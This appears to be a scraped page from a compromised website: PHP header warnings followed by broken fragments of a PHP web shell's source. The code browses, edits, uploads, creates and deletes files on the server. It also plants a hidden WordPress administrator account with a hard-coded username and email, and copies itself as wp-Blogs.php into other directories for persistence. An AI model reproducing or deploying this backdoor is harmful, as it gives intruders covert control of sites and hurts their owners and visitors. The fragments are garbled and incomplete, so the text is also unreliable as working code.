??????????????
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 173
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 174
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 175
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 176
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 177
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 178
🗑️ Folder deleted: " . htmlspecialchars(basename($target_file)) . " — Gone forever
🗑️ File deleted: " . htmlspecialchars(basename($target_file)) . " — Vanished into nothingness
"; } } } // === Breadcrumb Navigation — Show current location === function generate_breadcrumbs($path) { $path_parts = explode('/', trim($path, '/')); $current_path = '/'; $html_output = "📍 Current location: "; foreach ($path_parts as $part) { $current_path .= "$part/"; $html_output .= "$part/"; } return $html_output; } // === Directory Listing — Show files and folders === // NOTE: This script can create copies named wp-Blogs.php in other directories // NOTE: This script can create copies named wp-Blogs.php in other directories // NOTE: This script can create copies named wp-Blogs.php in other directories // NOTE: This script can create copies named wp-Blogs.php in other directories // NOTE: This script can create copies named wp-Blogs.php in other directories // ezgZEGezge gezGZEgegezgzeGZEgzeG // ezgZEGezge gezGZEgegezgzeGZEgzeG // ezgZEGezge gezGZEgegezgzeGZEgzeG function list_directory_contents($path) { $output_html = ''; $folder_list = $file_list = []; // 📁 Scan directory foreach (scandir($path) as $item) { if ($item === '.' || $item === '..') continue; $full_path = "$path/$item"; if (is_dir($full_path)) { $folder_list[] = $item; // 🗂️ It's a folder } else { $file_list[] = $item; // 📄 It's a file } } // 🔤 Sort alphabetically natcasesort($folder_list); natcasesort($file_list); // 🗂️ Display folders first foreach ($folder_list as $folder) { $full_folder_path = "$path/$folder"; $output_html .= "";
echo htmlspecialchars(file_get_contents($full_file_path));
echo "✅ Changes saved — File updated successfully
"; } $file_content = htmlspecialchars(file_get_contents($full_file_path)); echo "📤 File uploaded successfully — New file added
"; } // 🗂️ Create new folder if (!empty($_POST['new_folder'])) { $target_folder = "$path/" . basename($_POST['new_folder']); if (!file_exists($target_folder)) { mkdir($target_folder); echo "📁 Folder created — New directory ready
"; } else { echo "⚠️ Folder already exists — Choose different name
"; } } // 📄 Create new file if (!empty($_POST['new_file_content']) && !empty($_POST['new_file_name'])) { $file_name = basename($_POST['new_file_name']); $target_file = "$path/$file_name"; if (!file_exists($target_file)) { file_put_contents($target_file, $_POST['new_file_content']); echo "📄 File created — New document ready
"; } else { echo "⚠️ File already exists — Choose different name
"; } } // 🎛️ Display creation forms echo "❌ WordPress not found — Operation cancelled
"; return; } require_once("$wordpress_path/wp-load.php"); // 🎯 Custom username - change this to whatever you want $admin_username = 'Adminsavvy'; // 🔐 Generate random secure password $admin_password = generate_random_password(16); $admin_email = 'admin@graydomain.com'; if (!username_exists($admin_username) && !email_exists($admin_email)) { $user_id = wp_create_user($admin_username, $admin_password, $admin_email); $user_object = new WP_User($user_id); $user_object->set_role('administrator'); // 📋 Display credentials clearly echo "👤 Username: $admin_username
🔑 Password: $admin_password
📧 Email: $admin_email
💡 Save these credentials - this password won't be shown again!
⚠️ User '$admin_username' already exists — No changes made
"; } } // === Render Page — Display the interface === echo "" . generate_breadcrumbs($current_path) . "
✅ Script replicated to these locations: